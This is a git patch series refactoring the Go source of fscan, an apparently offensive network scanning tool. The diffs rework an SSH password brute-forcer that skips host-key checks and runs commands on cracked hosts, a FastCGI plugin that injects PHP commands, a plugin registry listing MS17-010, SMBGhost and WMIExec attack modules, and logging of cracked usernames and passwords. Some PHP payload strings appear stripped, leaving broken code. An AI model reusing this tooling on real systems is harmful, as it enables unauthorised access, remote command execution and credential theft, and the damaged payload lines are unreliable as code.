-//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return +// logShareInfo 记录SMB共享信息 +func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) { + var result string + + // 构建基础信息 + if common.Domain != "" { + result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", + info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", + info.Host, info.Ports, user) + } + + // 添加认证信息 + if len(hash) > 0 { + result += fmt.Sprintf("Hash:%v ", common.Hash) + } else { + result += fmt.Sprintf("Pass:%v ", pass) + } + + // 添加共享列表 + result += fmt.Sprintf("可用共享: %v", shares) + common.LogSuccess(result) +} From f35a259f11d46fa17631ea858487c1e6bfbfdecb Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:53 +0800 Subject: [PATCH 07/80] =?UTF-8?q?refactor:=20SSH=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/ssh.go | 91 ++++++++++++++++++++++++++++++++------------------ 1 file changed, 58 insertions(+), 33 deletions(-) diff --git a/Plugins/ssh.go b/Plugins/ssh.go index d4ab5df..c46139d 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -1,7 +1,6 @@ package Plugins import ( - "errors" "fmt" "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" @@ -11,28 +10,43 @@ import ( "time" ) +// SshScan 执行SSH服务的认证扫描 func SshScan(info *common.HostInfo) (tmperr error) { if common.IsBrute { return } - starttime := time.Now().Unix() + + startTime := time.Now().Unix() + + // 遍历用户名和密码字典进行认证尝试 for _, user := range common.Userdict["ssh"] { for _, pass := range common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) - flag, err := SshConn(info, user, pass) - if flag == true && err == nil { + + success, err := SshConn(info, user, pass) + if success && err == nil { return err - } else { - errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) { - return err - } } + + // 记录失败信息 + errlog := fmt.Sprintf("[x] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, err) + common.LogError(errlog) + tmperr = err + + // 检查是否需要中断扫描 + if common.CheckErrs(err) { + return err + } + + // 检查是否超时 + timeoutLimit := int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout + if time.Now().Unix()-startTime > timeoutLimit { + return err + } + + // 如果指定了SSH密钥,则不进行密码尝试 if common.SshKey != "" { return err } @@ -41,57 +55,68 @@ func SshScan(info *common.HostInfo) (tmperr error) { return tmperr } +// SshConn 尝试建立SSH连接并进行认证 func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - var Auth []ssh.AuthMethod + // 准备认证方法 + var auth []ssh.AuthMethod if common.SshKey != "" { + // 使用SSH密钥认证 pemBytes, err := ioutil.ReadFile(common.SshKey) if err != nil { - return false, errors.New("read key failed" + err.Error()) + return false, fmt.Errorf("读取密钥失败: %v", err) } + signer, err := ssh.ParsePrivateKey(pemBytes) if err != nil { - return false, errors.New("parse key failed" + err.Error()) + return false, fmt.Errorf("解析密钥失败: %v", err) } - Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} + auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} } else { - Auth = []ssh.AuthMethod{ssh.Password(Password)} + // 使用密码认证 + auth = []ssh.AuthMethod{ssh.Password(pass)} } + // 配置SSH客户端 config := &ssh.ClientConfig{ - User: Username, - Auth: Auth, + User: user, + Auth: auth, Timeout: time.Duration(common.Timeout) * time.Second, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, } - client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config) + // 建立SSH连接 + client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) if err == nil { defer client.Close() session, err := client.NewSession() if err == nil { defer session.Close() flag = true - var result string + + // 处理认证成功的情况 if common.Command != "" { - combo, _ := session.CombinedOutput(common.Command) - result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) + // 执行指定命令 + output, _ := session.CombinedOutput(common.Command) if common.SshKey != "" { - result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo)) + common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, string(output))) + } else { + common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + info.Host, info.Ports, user, pass, string(output))) } - common.LogSuccess(result) } else { - result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password) + // 仅记录认证成功 if common.SshKey != "" { - result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port) + common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v", + info.Host, info.Ports)) + } else { + common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass)) } - common.LogSuccess(result) } } } return flag, err - } From cae98e7d90e102dd9307c40e076f8cf0901e1c84 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 21:55:39 +0800 Subject: [PATCH 08/80] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=98=A0?= =?UTF-8?q?=E5=B0=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Config/Types.go | 24 +++++++ Plugins/{base.go => Base.go} | 23 ------- Plugins/Registry.go | 127 +++++++++++++++++++++++++++++++++++ 3 files changed, 151 insertions(+), 23 deletions(-) create mode 100644 Config/Types.go rename Plugins/{base.go => Base.go} (80%) create mode 100644 Plugins/Registry.go diff --git a/Config/Types.go b/Config/Types.go new file mode 100644 index 0000000..aa6a420 --- /dev/null +++ b/Config/Types.go @@ -0,0 +1,24 @@ +// Config/types.go +package Config + +type HostInfo struct { + Host string + Ports string + Url string + Infostr []string +} + +// ScanPlugin 定义扫描插件的结构 +type ScanPlugin struct { + Name string // 插件名称 + Port int // 关联的端口号,0表示特殊扫描类型 + ScanFunc func(*HostInfo) error // 扫描函数 +} + +// PluginManager 管理插件注册 +var PluginManager = make(map[string]ScanPlugin) + +// RegisterPlugin 注册插件 +func RegisterPlugin(name string, plugin ScanPlugin) { + PluginManager[name] = plugin +} diff --git a/Plugins/base.go b/Plugins/Base.go similarity index 80% rename from Plugins/base.go rename to Plugins/Base.go index b33bc8c..7fc38a9 100644 --- a/Plugins/base.go +++ b/Plugins/Base.go @@ -8,29 +8,6 @@ import ( "net" ) -var PluginList = map[string]interface{}{ - "21": FtpScan, - "22": SshScan, - "135": Findnet, - "139": NetBIOS, - "445": SmbScan, - "1433": MssqlScan, - "1521": OracleScan, - "3306": MysqlScan, - "3389": RdpScan, - "5432": PostgresScan, - "6379": RedisScan, - "9000": FcgiScan, - "11211": MemcachedScan, - "27017": MongodbScan, - "1000001": MS17010, - "1000002": SmbGhost, - "1000003": WebTitle, - "1000004": SmbScan2, - "1000005": WmiExec, - "1000006": LocalInfoScan, -} - func ReadBytes(conn net.Conn) (result []byte, err error) { size := 4096 buf := make([]byte, size) diff --git a/Plugins/Registry.go b/Plugins/Registry.go new file mode 100644 index 0000000..d23d061 --- /dev/null +++ b/Plugins/Registry.go @@ -0,0 +1,127 @@ +package Plugins + +import "github.com/shadow1ng/fscan/Config" + +func init() { + // 注册标准端口服务扫描 + Config.RegisterPlugin("ftp", Config.ScanPlugin{ + Name: "FTP", + Port: 21, + ScanFunc: FtpScan, + }) + + Config.RegisterPlugin("ssh", Config.ScanPlugin{ + Name: "SSH", + Port: 22, + ScanFunc: SshScan, + }) + + Config.RegisterPlugin("findnet", Config.ScanPlugin{ + Name: "FindNet", + Port: 135, + ScanFunc: Findnet, + }) + + Config.RegisterPlugin("netbios", Config.ScanPlugin{ + Name: "NetBIOS", + Port: 139, + ScanFunc: NetBIOS, + }) + + Config.RegisterPlugin("smb", Config.ScanPlugin{ + Name: "SMB", + Port: 445, + ScanFunc: SmbScan, + }) + + Config.RegisterPlugin("mssql", Config.ScanPlugin{ + Name: "MSSQL", + Port: 1433, + ScanFunc: MssqlScan, + }) + + Config.RegisterPlugin("oracle", Config.ScanPlugin{ + Name: "Oracle", + Port: 1521, + ScanFunc: OracleScan, + }) + + Config.RegisterPlugin("mysql", Config.ScanPlugin{ + Name: "MySQL", + Port: 3306, + ScanFunc: MysqlScan, + }) + + Config.RegisterPlugin("rdp", Config.ScanPlugin{ + Name: "RDP", + Port: 3389, + ScanFunc: RdpScan, + }) + + Config.RegisterPlugin("postgres", Config.ScanPlugin{ + Name: "PostgreSQL", + Port: 5432, + ScanFunc: PostgresScan, + }) + + Config.RegisterPlugin("redis", Config.ScanPlugin{ + Name: "Redis", + Port: 6379, + ScanFunc: RedisScan, + }) + + Config.RegisterPlugin("fcgi", Config.ScanPlugin{ + Name: "FastCGI", + Port: 9000, + ScanFunc: FcgiScan, + }) + + Config.RegisterPlugin("memcached", Config.ScanPlugin{ + Name: "Memcached", + Port: 11211, + ScanFunc: MemcachedScan, + }) + + Config.RegisterPlugin("mongodb", Config.ScanPlugin{ + Name: "MongoDB", + Port: 27017, + ScanFunc: MongodbScan, + }) + + // 注册特殊扫描类型 + Config.RegisterPlugin("ms17010", Config.ScanPlugin{ + Name: "MS17010", + Port: 445, + ScanFunc: MS17010, + }) + + Config.RegisterPlugin("smbghost", Config.ScanPlugin{ + Name: "SMBGhost", + Port: 445, + ScanFunc: SmbGhost, + }) + + Config.RegisterPlugin("web", Config.ScanPlugin{ + Name: "WebTitle", + Port: 0, + ScanFunc: WebTitle, + }) + + Config.RegisterPlugin("smb2", Config.ScanPlugin{ + Name: "SMBScan2", + Port: 445, + ScanFunc: SmbScan2, + }) + + Config.RegisterPlugin("wmiexec", Config.ScanPlugin{ + Name: "WMIExec", + Port: 135, + ScanFunc: WmiExec, + }) + + Config.RegisterPlugin("localinfo", Config.ScanPlugin{ + Name: "LocalInfo", + Port: 0, + ScanFunc: LocalInfoScan, + }) +} From ab14b1586487ec64ee60728e79ed9983d70eb867 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 21:56:08 +0800 Subject: [PATCH 09/80] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=B6=89?= =?UTF-8?q?=E5=8F=8A=E6=96=87=E4=BB=B6=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/CVE-2020-0796.go | 5 +- Plugins/NetBIOS.go | 7 +- Plugins/fcgiscan.go | 92 +++++++++++++------------- Plugins/findnet.go | 5 +- Plugins/ftp.go | 5 +- Plugins/localinfo.go | 3 +- Plugins/memcached.go | 3 +- Plugins/mongodb.go | 5 +- Plugins/ms17010-exp.go | 3 +- Plugins/ms17010.go | 5 +- Plugins/mssql.go | 5 +- Plugins/mysql.go | 5 +- Plugins/oracle.go | 5 +- Plugins/postgres.go | 5 +- Plugins/rdp.go | 3 +- Plugins/redis.go | 7 +- Plugins/scanner.go | 135 ++++++++++++++++++++++----------------- Plugins/smb.go | 7 +- Plugins/smb2.go | 15 +++-- Plugins/ssh.go | 5 +- Plugins/webtitle.go | 7 +- Plugins/wmiexec.go | 5 +- WebScan/WebScan.go | 3 +- common/Parse.go | 104 +++++++++++++++++++----------- common/config.go | 45 ------------- common/flag.go | 3 +- main.go | 3 +- 27 files changed, 260 insertions(+), 235 deletions(-) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 385c86d..2297d1b 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -3,6 +3,7 @@ package Plugins import ( "bytes" "fmt" + "github.com/shadow1ng/fscan/Config" "time" "github.com/shadow1ng/fscan/common" @@ -94,7 +95,7 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhost(info *common.HostInfo) error { +func SmbGhost(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -102,7 +103,7 @@ func SmbGhost(info *common.HostInfo) error { return err } -func SmbGhostScan(info *common.HostInfo) error { +func SmbGhostScan(info *Config.HostInfo) error { ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index d3d0c84..b025f5c 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,6 +4,7 @@ import ( "bytes" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "gopkg.in/yaml.v3" "net" @@ -14,7 +15,7 @@ import ( var errNetBIOS = errors.New("netbios error") -func NetBIOS(info *common.HostInfo) error { +func NetBIOS(info *Config.HostInfo) error { netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { @@ -25,7 +26,7 @@ func NetBIOS(info *common.HostInfo) error { return errNetBIOS } -func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { @@ -84,7 +85,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { return } -func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 11c9841..a14776c 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,6 +6,7 @@ import ( "encoding/binary" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "strconv" @@ -18,34 +19,43 @@ import ( //https://xz.aliyun.com/t/9544 //https://github.com/wofeiwo/webcgi-exploits -func FcgiScan(info *common.HostInfo) { +// FcgiScan 执行FastCGI服务器漏洞扫描 +func FcgiScan(info *Config.HostInfo) error { + // 如果设置了暴力破解模式则跳过 if common.IsBrute { - return + return nil } + + // 设置目标URL路径 url := "/etc/issue" if common.Path != "" { url = common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) + + // 构造PHP命令注入代码 var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" + var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 + switch { case common.Command == "read": - reqParams = "" + reqParams = "" // 读取模式 case common.Command != "": - reqParams = "" + reqParams = fmt.Sprintf("", common.Command, cutLine) // 自定义命令 default: - reqParams = "" + reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami } - env := make(map[string]string) - - env["SCRIPT_FILENAME"] = url - env["DOCUMENT_ROOT"] = "/" - env["SERVER_SOFTWARE"] = "go / fcgiclient " - env["REMOTE_ADDR"] = "127.0.0.1" - env["SERVER_PROTOCOL"] = "HTTP/1.1" + // 设置FastCGI环境变量 + env := map[string]string{ + "SCRIPT_FILENAME": url, + "DOCUMENT_ROOT": "/", + "SERVER_SOFTWARE": "go / fcgiclient ", + "REMOTE_ADDR": "127.0.0.1", + "SERVER_PROTOCOL": "HTTP/1.1", + } + // 根据请求类型设置对应的环境变量 if len(reqParams) != 0 { env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) env["REQUEST_METHOD"] = "POST" @@ -54,6 +64,7 @@ func FcgiScan(info *common.HostInfo) { env["REQUEST_METHOD"] = "GET" } + // 建立FastCGI连接 fcgi, err := New(addr, common.Timeout) defer func() { if fcgi.rwc != nil { @@ -61,54 +72,47 @@ func FcgiScan(info *common.HostInfo) { } }() if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } + // 发送FastCGI请求 stdout, stderr, err := fcgi.Request(env, reqParams) if err != nil { - errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) - return + fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) + return err } - //1 - //Content-type: text/html - // - //uid=1001(www) gid=1001(www) groups=1001(www) - - //2 - //Status: 404 Not Found - //Content-type: text/html - // - //File not found. - //Primary script unknown - - //3 - //Status: 403 Forbidden - //Content-type: text/html - // - //Access denied. - //Access to the script '/etc/passwd' has been denied (see security.limit_extensions) + // 处理响应结果 + output := string(stdout) var result string - var output = string(stdout) - if strings.Contains(output, cutLine) { //命令成功回显 + + if strings.Contains(output, cutLine) { + // 命令执行成功,提取输出结果 output = strings.SplitN(output, cutLine, 2)[0] if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, output) } common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { + } else if strings.Contains(output, "File not found") || + strings.Contains(output, "Content-type") || + strings.Contains(output, "Status") { + // 目标存在FastCGI服务但可能路径错误 if len(stderr) > 0 { - result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr)) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", + info.Host, info.Ports, output, string(stderr)) } else { - result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output) + result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", + info.Host, info.Ports, output) } common.LogSuccess(result) } + + return nil } // for padding so we don't have to allocate all the time diff --git a/Plugins/findnet.go b/Plugins/findnet.go index 6787a95..2a8355c 100644 --- a/Plugins/findnet.go +++ b/Plugins/findnet.go @@ -4,6 +4,7 @@ import ( "bytes" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strconv" "strings" @@ -16,12 +17,12 @@ var ( bufferV3, _ = hex.DecodeString("0900ffff0000") ) -func Findnet(info *common.HostInfo) error { +func Findnet(info *Config.HostInfo) error { err := FindnetScan(info) return err } -func FindnetScan(info *common.HostInfo) error { +func FindnetScan(info *Config.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, 135) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) if err != nil { diff --git a/Plugins/ftp.go b/Plugins/ftp.go index 58d0378..19d925c 100644 --- a/Plugins/ftp.go +++ b/Plugins/ftp.go @@ -3,12 +3,13 @@ package Plugins import ( "fmt" "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func FtpScan(info *common.HostInfo) (tmperr error) { +func FtpScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -47,7 +48,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) { return tmperr } -func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/localinfo.go b/Plugins/localinfo.go index c7ede11..72835f7 100644 --- a/Plugins/localinfo.go +++ b/Plugins/localinfo.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "os" "path/filepath" @@ -88,7 +89,7 @@ var ( } ) -func LocalInfoScan(info *common.HostInfo) (err error) { +func LocalInfoScan(info *Config.HostInfo) (err error) { home, err := os.UserHomeDir() if err != nil { errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) diff --git a/Plugins/memcached.go b/Plugins/memcached.go index 361edc1..0ad4e7d 100644 --- a/Plugins/memcached.go +++ b/Plugins/memcached.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MemcachedScan(info *common.HostInfo) (err error) { +func MemcachedScan(info *Config.HostInfo) (err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go index 947137a..36805c2 100644 --- a/Plugins/mongodb.go +++ b/Plugins/mongodb.go @@ -2,12 +2,13 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MongodbScan(info *common.HostInfo) error { +func MongodbScan(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error { return err } -func MongodbUnauth(info *common.HostInfo) (flag bool, err error) { +func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false // op_msg packet1 := []byte{ diff --git a/Plugins/ms17010-exp.go b/Plugins/ms17010-exp.go index f761517..dbcdd7b 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/ms17010-exp.go @@ -5,6 +5,7 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "io/ioutil" @@ -13,7 +14,7 @@ import ( "time" ) -func MS17010EXP(info *common.HostInfo) { +func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string switch common.SC { diff --git a/Plugins/ms17010.go b/Plugins/ms17010.go index feb53e7..0f30ead 100644 --- a/Plugins/ms17010.go +++ b/Plugins/ms17010.go @@ -5,6 +5,7 @@ import ( "encoding/hex" "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" @@ -23,7 +24,7 @@ var ( trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) ) -func MS17010(info *common.HostInfo) error { +func MS17010(info *Config.HostInfo) error { if common.IsBrute { return nil } @@ -35,7 +36,7 @@ func MS17010(info *common.HostInfo) error { return err } -func MS17010Scan(info *common.HostInfo) error { +func MS17010Scan(info *Config.HostInfo) error { ip := info.Host // connecting to a host in LAN if reachable should be very quick conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/mssql.go b/Plugins/mssql.go index 30b1429..2048709 100644 --- a/Plugins/mssql.go +++ b/Plugins/mssql.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/denisenkom/go-mssqldb" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MssqlScan(info *common.HostInfo) (tmperr error) { +func MssqlScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/mysql.go b/Plugins/mysql.go index db3e440..23e578f 100644 --- a/Plugins/mysql.go +++ b/Plugins/mysql.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func MysqlScan(info *common.HostInfo) (tmperr error) { +func MysqlScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) { return tmperr } -func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/oracle.go b/Plugins/oracle.go index be9ad2d..37f867c 100644 --- a/Plugins/oracle.go +++ b/Plugins/oracle.go @@ -3,13 +3,14 @@ package Plugins import ( "database/sql" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" _ "github.com/sijms/go-ora/v2" "strings" "time" ) -func OracleScan(info *common.HostInfo) (tmperr error) { +func OracleScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) { return tmperr } -func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) diff --git a/Plugins/postgres.go b/Plugins/postgres.go index 36a97ed..68681d1 100644 --- a/Plugins/postgres.go +++ b/Plugins/postgres.go @@ -4,12 +4,13 @@ import ( "database/sql" "fmt" _ "github.com/lib/pq" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "strings" "time" ) -func PostgresScan(info *common.HostInfo) (tmperr error) { +func PostgresScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -36,7 +37,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) { return tmperr } -func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") diff --git a/Plugins/rdp.go b/Plugins/rdp.go index fe08c39..4bae7a6 100644 --- a/Plugins/rdp.go +++ b/Plugins/rdp.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "github.com/tomatome/grdp/core" "github.com/tomatome/grdp/glog" @@ -26,7 +27,7 @@ type Brutelist struct { pass string } -func RdpScan(info *common.HostInfo) (tmperr error) { +func RdpScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } diff --git a/Plugins/redis.go b/Plugins/redis.go index 88ad73d..39e6a6b 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -3,6 +3,7 @@ package Plugins import ( "bufio" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "io" "net" @@ -16,7 +17,7 @@ var ( dir string ) -func RedisScan(info *common.HostInfo) (tmperr error) { +func RedisScan(info *Config.HostInfo) (tmperr error) { starttime := time.Now().Unix() flag, err := RedisUnauth(info) if flag == true && err == nil { @@ -45,7 +46,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) { return tmperr } -func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { +func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) @@ -81,7 +82,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { return flag, err } -func RedisUnauth(info *common.HostInfo) (flag bool, err error) { +func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false 